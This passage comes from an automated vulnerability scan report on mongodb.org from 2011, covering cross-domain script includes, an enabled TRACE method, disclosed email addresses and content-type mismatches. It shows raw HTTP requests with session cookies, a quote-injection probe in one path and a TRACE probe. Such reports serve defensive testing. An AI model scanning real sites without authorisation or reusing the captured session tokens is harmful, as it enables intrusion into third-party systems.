...[SNIP]...

6.2. http://www.mongodb.org/s/1627/3/1.0/_/download/batch%27/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /s/1627/3/1.0/_/download/batch%27/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /s/1627/3/1.0/_/download/batch%27/confluence.web.resources:print-styles/confluence.web.resources:print-styles.css?media=print HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/5
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.6.10.1320843794; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02; rack.session=BAh7AA%3D%3D%0A; __utmc=266042259

Response

HTTP/1.1 500 Internal Server Error
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 09 Nov 2011 13:19:29 GMT
Connection: close
X-xgen-cache: yes
X-Cache-Info: not cacheable; response code not cacheable


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF
...[SNIP]...
<strong><a href="http://support.atlassian.com">Atlassian's support system</a></strong> at
<a href="http://support.atlassian.com">http://support.atlassian.com</a>
...[SNIP]...

7. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


7.1. http://www.mongodb.org/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /

Issue detail

The response dynamically includes the following script from another domain:

Request

GET / HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.com/

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Amazon)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:11 GMT
Connection: Keep-Alive
Set-Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; expires=Tue, 04-Nov-2031 13:03:11 GMT; Path=/
Content-Length: 10884

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
...[SNIP]...
</script>
<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...

7.2. http://www.mongodb.org/display/DOCS/Home  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /display/DOCS/Home

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /display/DOCS/Home HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:20 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843800585
Vary: User-Agent
Content-Type: text/html;charset=UTF-8
Content-Length: 37810

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Home - MongoDB</title>



...[SNIP]...
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch/osd.action" title="10gen Confluence"/>


<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...

7.3. http://www.mongodb.org/display/DOCS/Source+Code  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /display/DOCS/Source+Code

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /display/DOCS/Source+Code HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.3.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:31 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843811914
Vary: User-Agent
Content-Type: text/html;charset=UTF-8
Content-Length: 30118

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Source Code - MongoDB</title>



...[SNIP]...
<link rel="search" type="application/opensearchdescription+xml" href="/opensearch/osd.action" title="10gen Confluence"/>


<script src="http://munchkin.marketo.net/munchkin.js" type="text/javascript"></script>
...[SNIP]...
</div><script type="text/javascript" src="http://disqus.com/forums/mongodb/embed.js"></script>
...[SNIP]...

8. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.mongodb.org
Cookie: 5dd817a48b5d76b1

Response

HTTP/1.1 200 OK
Server: Apache/2.2.16 (Amazon)
Content-Type: message/http
Date: Wed, 09 Nov 2011 13:03:12 GMT
Connection: close

TRACE / HTTP/1.0
Host: www.mongodb.org
X-Cluster-Client-Ip: 50.23.123.106
Cookie: 5dd817a48b5d76b1; __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0
Connection: Keep-Alive


9. Email addresses disclosed  previous  next
There are 3 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


9.1. http://www.mongodb.org/display/DOCS/Home  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /display/DOCS/Home

Issue detail

The following email address was disclosed in the response:

Request

GET /display/DOCS/Home HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:20 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843800585
Vary: User-Agent
Content-Type: text/html;charset=UTF-8
Content-Length: 37810

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Home - MongoDB</title>



...[SNIP]...
<a href="mailto:docs@10gen.com">docs@10gen.com</a>
...[SNIP]...

9.2. http://www.mongodb.org/s/1627/3/1.0.2/_/download/batch/com.atlassian.auiplugin:jquery-base/com.atlassian.auiplugin:jquery-base.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /s/1627/3/1.0.2/_/download/batch/com.atlassian.auiplugin:jquery-base/com.atlassian.auiplugin:jquery-base.js

Issue detail

The following email addresses were disclosed in the response:

Request

GET /s/1627/3/1.0.2/_/download/batch/com.atlassian.auiplugin:jquery-base/com.atlassian.auiplugin:jquery-base.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/display/DOCS/Home
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/x-javascript;charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:20 GMT
Expires: Sat, 06 Nov 2021 13:03:20 GMT
ETag: "1320755916000"
X-xgen-cache: yes
Last-Modified: Tue, 08 Nov 2011 12:38:36 GMT
X-Cache-Info: caching
Content-Length: 3598

jQuery.noConflict();
/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
* Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
*
* $LastCha
...[SNIP]...

9.3. http://www.mongodb.org/s/1627/3/1.0/_/download/batch/confluence.web.resources:prototype/confluence.web.resources:prototype.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.mongodb.org
Path:   /s/1627/3/1.0/_/download/batch/confluence.web.resources:prototype/confluence.web.resources:prototype.js

Issue detail

The following email address was disclosed in the response:

Request

GET /s/1627/3/1.0/_/download/batch/confluence.web.resources:prototype/confluence.web.resources:prototype.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/display/DOCS/Home
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.1.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Cache-Control: max-age=3600
Content-Type: application/x-javascript;charset=UTF-8
Date: Wed, 09 Nov 2011 13:03:20 GMT
Expires: Sat, 06 Nov 2021 13:03:20 GMT
ETag: "1320755916000"
X-xgen-cache: yes
Last-Modified: Tue, 08 Nov 2011 12:38:36 GMT
X-Cache-Info: caching
Content-Length: 37808

/* Prototype JavaScript framework, version 1.4.0_pre11
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff
* against the sourc
...[SNIP]...

10. Content type incorrectly stated  previous
There are 3 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


10.1. http://www.mongodb.org/json/contentnamesearch.action  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /json/contentnamesearch.action

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /json/contentnamesearch.action?query=sq HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: application/json, text/javascript, */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.mongodb.org/display/DOCS/Source+Code
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.4.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:44 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843824337
Vary: User-Agent
Content-Type: application/javascript;charset=UTF-8
Content-Length: 1799

{"queryTokens":["sq"],"contentNameMatches":[[{"icon":null,"spaceName":"MongoDB","name":"SQL to Mongo Mapping Chart","spaceKey":"DOCS","className":"content-type-page","href":"/display/DOCS/SQL+to+Mongo
...[SNIP]...

10.2. http://www.mongodb.org/plugins/pagetree/naturalchildren.action  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /plugins/pagetree/naturalchildren.action

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain XML.

Request

GET /plugins/pagetree/naturalchildren.action?decorator=none&excerpt=false&sort=position&reverse=false&disableLinks=false&hasRoot=true&pageId=131081&treeId=0&startDepth=0&ancestors=131081 HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Referer: http://www.mongodb.org/display/DOCS/Home
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0; rack.session=BAh7AA%3D%3D%0A; __utma=266042259.1760966378.1320843794.1320843794.1320843794.1; __utmb=266042259.2.10.1320843794; __utmc=266042259; __utmz=266042259.1320843794.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; _mkto_trk=id:017-HGS-593&token:_mch-mongodb.org-1320843794269-29708; JSESSIONID=BA89C686021CA5448E1370C96EB97C02

Response

HTTP/1.1 200 OK
Date: Wed, 09 Nov 2011 13:03:25 GMT
Cache-Control: no-cache, must-revalidate
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1320843805398
Vary: User-Agent
Content-Type: text/html;charset=UTF-8
Content-Length: 10676


<ul class="plugin_pagetree_children_list" id="child_ul131081-0">
<li>
<div class="plugin_pagetree_childtoggle_container">
<img border="0" src="/images/icons/tree_s
...[SNIP]...

10.3. http://www.mongodb.org/try/js/lib/query.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.mongodb.org
Path:   /try/js/lib/query.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain XML.

Request

GET /try/js/lib/query.js HTTP/1.1
Host: www.mongodb.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.mongodb.org/
Cookie: __sid=f4abf7ce84e71ec0885a35b20057e54fc2451ed0

Response

HTTP/1.1 404 Not Found
Server: thin 1.2.7 codename No Hup
Vary: Accept-Encoding
X-Cascade: pass
Cache-Control: max-age=3600
Content-Type: text/html;charset=utf-8
X-xgen-cache: yes
Connection: keep-alive
Set-Cookie: rack.session=BAh7AA%3D%3D%0A; path=/
X-Cache-Info: caching
Content-Length: 18

<h1>Not Found</h1>

Report generated by XSS.CX at Thu Nov 10 10:05:22 CST 2011.